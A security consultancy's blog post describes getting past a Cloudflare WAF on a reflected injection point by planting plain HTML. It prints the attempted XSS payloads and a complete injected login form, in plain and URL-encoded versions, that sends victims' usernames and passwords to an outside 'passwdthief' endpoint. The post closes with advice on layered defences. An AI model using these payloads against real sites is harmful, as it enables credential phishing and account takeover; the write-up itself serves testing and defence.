Mark Crowther 12 July, 2022

XSS is more than just <script>

Recently, we were examining an application that was protected by Cloudflare. We found an injection point in a search field parameter where it was possible to introduce data of our choosing which looked like a good candidate for reflected cross-site scripting. 

https://vulnerable-site.url/dashboard/search?s=wibble&e=250032wobble

The 'e' parameter did not return data visibly to the browser, so search results did not include a visible message:

Error message shows: "We found no events matching your search for 'wibble'"

The resulting page, however, included our parameter value in a ‘data-event-id’ field of an <input> tag:

<input type="search" name="s" autocomplete="off" placeholder="Search event;
" data-type="registration" data-event-id="250032wobble" value="wibble"></input>

Closing the input field to start injecting our malicious code was straightforward:

https://vulnerable-site.url/dashboard/search?s=wibble&e=250032wobble"/>

this resulted in the following response

<input type="search" name="s" autocomplete="off" placeholder="Search event 
for names, emails&hellip;" data-type="registration" data-event-id="250032wobble"/>
" value="wibble"></input>

Once we've closed an incomplete tag correctly, we would typically start to include JavaScript into the response via our requests to try and execute some code in the browser. In this instance, however, Cloudflare was blocking all our attempts to use <script> tabs, or other more complex mechanisms we generally employ to introduce JavaScript.  

When we are unable to use <script> tags, another common technique is to introduce and execute script code via HTML attributes in other tag types - such as the <img> tag in the following (very simple) example:

https:// vulnerable-site.url/dashboard/search?s=wibble&e=250032wobble">
<img src="wibble.jpg" onerror=alert(1)>
&t=people

Cloudflare successfully blocked all attempts at this type of attack, and appeared to be blocking the requests based on the inclusion of multiple data items, including (), alert, and onerror.

After further testing, and having exhausted most of our techniques to inject JavaScript, and still at the point where we were lacking an actionable proof of concept, we switched approach.  Rather than attempting to inject JavaScript, we decided to inject basic HTML, to see what was possible without using JavaScript. Cloudflare made no attempt to block simple HTML code, so we introduced a form into the page designed to manipulate a victim to submit their valid credentials to our server:

https://vulnerable-site.url/dashboard/search?s=4&e=250032"><br></form><br>
<form action="//www.cyberis.com/passwdthief"><h2><br>Please re-enter your
credentials to continue</h><label for="username">Username:</label><br><input
type="text" id="username" name="username" value=""><br><label for="passwd">
Password:</label><br><input type="text" id="passwd" name="passwd" value="">
<br><br><input type="submit" value="Submit"></form><!—

This attack was not prevented by Cloudflare or the application code. The input was accepted by the application and returned in its raw unencoded form back to the browser in the response, neatly inserting a request for the user to submit their credentials:

Image shows a login box asking users to re-enter their credentials.

When the user enters their details and hits 'submit', their credentials are sent to our server:

Image shows a BurpSuite window where a request to cyberis.com containing harvested credentials has been captured

URL encoding our data made the attack a little less obvious, but still successful:

https://vulnerable-site.url/dashboard/search?s=4&e=250032">%3c%62%72%3e%0a
%3c%2f%66%6f%72%6d%3e%0a%3c%62%72%3e%0a%3c%66%6f%72%6d%20%61%63%74%69%6f%6e
%3d%22%2f%2f%6d%61%6c%69%63%69%6f%75%73%2e%75%72%6c%2f%70%61%73%73%77%64%74
%68%69%65%66%22%3e%0a%3c%68%32%3e%0a%3c%62%72%3e%50%6c%65%61%73%65%20%72%65
%2d%65%6e%74%65%72%20%79%6f%75%72%20%63%72%65%64%65%6e%74%69%61%6c%73%20%74
%6f%20%63%6f%6e%74%69%6e%75%65%3c%2f%68%3e%0a%3c%6c%61%62%65%6c%20%66%6f%72
%3d%22%75%73%65%72%6e%61%6d%65%22%3e%55%73%65%72%6e%61%6d%65%3a%3c%2f%6c%61
%62%65%6c%3e%0a%3c%62%72%3e%0a%3c%69%6e%70%75%74%20%74%79%70%65%3d%22%74%65
%78%74%22%20%69%64%3d%22%75%73%65%72%6e%61%6d%65%22%20%6e%61%6d%65%3d%22%75
%73%65%72%6e%61%6d%65%22%20%76%61%6c%75%65%3d%22%22%3e%0a%3c%62%72%3e%0a%3c
%6c%61%62%65%6c%20%66%6f%72%3d%22%70%61%73%73%77%64%22%3e%50%61%73%73%77%6f
%72%64%3a%3c%2f%6c%61%62%65%6c%3e%0a%3c%62%72%3e%0a%3c%69%6e%70%75%74%20%74
%79%70%65%3d%22%74%65%78%74%22%20%69%64%3d%22%70%61%73%73%77%64%22%20%6e%61
%6d%65%3d%22%70%61%73%73%77%64%22%20%76%61%6c%75%65%3d%22%22%3e%0a%3c%62%72
%3e%0a%3c%62%72%3e%0a%3c%69%6e%70%75%74%20%74%79%70%65%3d%22%73%75%62%6d%69
%74%22%20%76%61%6c%75%65%3d%22%53%75%62%6d%69%74%22%3e%3c%2f%66%6f%72%6d%3e
%3c%21%2d%2d

A malicious actor could use this weakness to manipulate an unsuspecting victim to submit their application credentials to our server, from where we could re-use them to obtain access to their account.

This type of vulnerability is something we see regularly and highlights the importance of layered approaches to application security controls. Whilst Cloudflare and similar controls play a part in a comprehensive defensive strategy, and can be effective at preventing common attacks, they are not a panacea. They should be combined with good application data input and validation controls, controls over data output and other good practices designed to protect sensitive data, and websites themselves, from attacks designed to manipulate website responses to impact end users.

Improve your security

Our experienced team will identify and address your most critical information security concerns.